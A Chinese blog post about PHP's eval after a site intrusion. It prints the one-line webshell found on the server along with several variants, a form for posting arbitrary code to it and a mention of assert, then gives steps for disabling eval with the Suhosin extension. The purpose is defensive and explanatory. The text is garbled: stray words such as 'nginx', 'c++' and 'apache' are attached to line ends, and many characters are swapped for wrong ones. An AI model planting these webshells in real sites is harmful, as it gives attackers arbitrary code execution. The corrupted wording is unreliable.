前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有不多:
<?php eval($_POST[asda123131323156341]);?>
而后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。
本地测试一下,在本地环境写一个php,内容以下:
default.php:
<?php eval($_GET[asda]);?>
而后访问一下:localhost/test/default.php?asda=phpinfo();
就能够看到已经把phpinfo给执行了。
或者是访问localhost/test/default.php?asda = echo 11111;一样也会发现1111被echo出来了。
相似的手段还有:
<?php $code="${${eval($_GET[c])}}";?>
访问localhost/test/default.php?c=phpinfo();便可看到
<?php
$code=addslashes($_GET[c]);
eval(""$code"");
?>
访问localhost/test/default.php?c=
${${phpinfo()}};便可看到
利用能够执行php的eval函数,黑客能够用这个来上传一些后台木马,好比说上传php,而后经过url访问这个php来得到更大的权限。这种称为一句话木马的入侵。好比说:写一个html,内容以下:
<html>
<body>
<form action="default.php" method="post">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
而后写一个default.php,内容为:
<?php eval($_POST[c]);?>
这样的话,想执行什么php就能够直接提交运行便可。
因此:
eval()对于php安全来讲具备很大的杀伤力,eval函数减弱了你的应用的安全性,所以通常不用的状况下为了防止相似以下的一句话木马入侵,须要禁止!
然而网上不少说使用disable_functions禁止掉eval的方法都是错误的!
其实eval()是没法用php.ini中的disable_functions禁止掉的 :
because eval() is a language construct and not a functionphp
eval是zend的,所以不是PHP_FUNCTION 函数;html
那么php怎么禁止eval呢?nginx
若是想禁掉eval能够用php的扩展 Suhosin:c++
安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on便可!apache
总结,php的eval函数在php中是没法禁用的,所以咱们也只有使用插件了!浏览器
至于安装suhosin来禁止eval函数的步骤为:(未测试)安全
原文来自:Linux下php安装suhosin函数
注意:只能用于cent os
说明:
php安装目录:/usr/local/php5
php.ini配置文件路径:/usr/local/php5/etc/php.ini
Nginx安装目录:/usr/local/nginx
Nginx网站根目录:/usr/local/nginx/html
一、安装编译工具
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
二、安装suhosin
cd /usr/local/src
#进入软件包存放目录
wget
http://download.suhosin.org/suhosin-0.9.33.tgz
#下载
tar zxvf suhosin-0.9.33.tgz
#解压
cd suhosin-0.9.33
#进入安装目录
/usr/local/php5/bin/phpize
#用phpize生成configure配置文件
./configure --with-php-config=/usr/local/php5/bin/php-config
#配置
make
#编译
make install
#安装
安装完成以后,出现下面的界面,记住如下路径,后面会用到。
Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/
#suhosin模块路径
三、配置php支持suhosin
vi /usr/local/php5/etc/php.ini
#编辑配置文件,在最后一行添加如下内容
extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
suhosin.executor.disable_eval = on
注意:suhosin.executor.disable_eval = on 的做用就是禁用eval函数
四、测试
vi /usr/local/nginx/html/phpinfo.php
#编辑
<?php
phpinfo();
?>
:wq!
#保存退出
service php-fpm restart
#重启php-fpm
service nginx restart
#重启nginx
注意:若是是apache的话也是同样的,重启apache便可。
浏览器打开phpinfo.php 以下图所示,能够看到suhosin相关信息
至此,Linux下php安装suhosin安装完成!
注意:禁用了 eval后,会有啥后果呢? 首先是代码里使用 eval 的软件将不能使用好比大名鼎鼎的 Discuz! 论坛和 PHPWind论坛将不能正常使用,也影响到phpMyAdmin的旧版本,若是更新到目前最新的3.2.5,就能够使用,只是默认有个警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true;
就能够取消这个警告了。
注意:除了eval以外,还有assert也是相似的用法。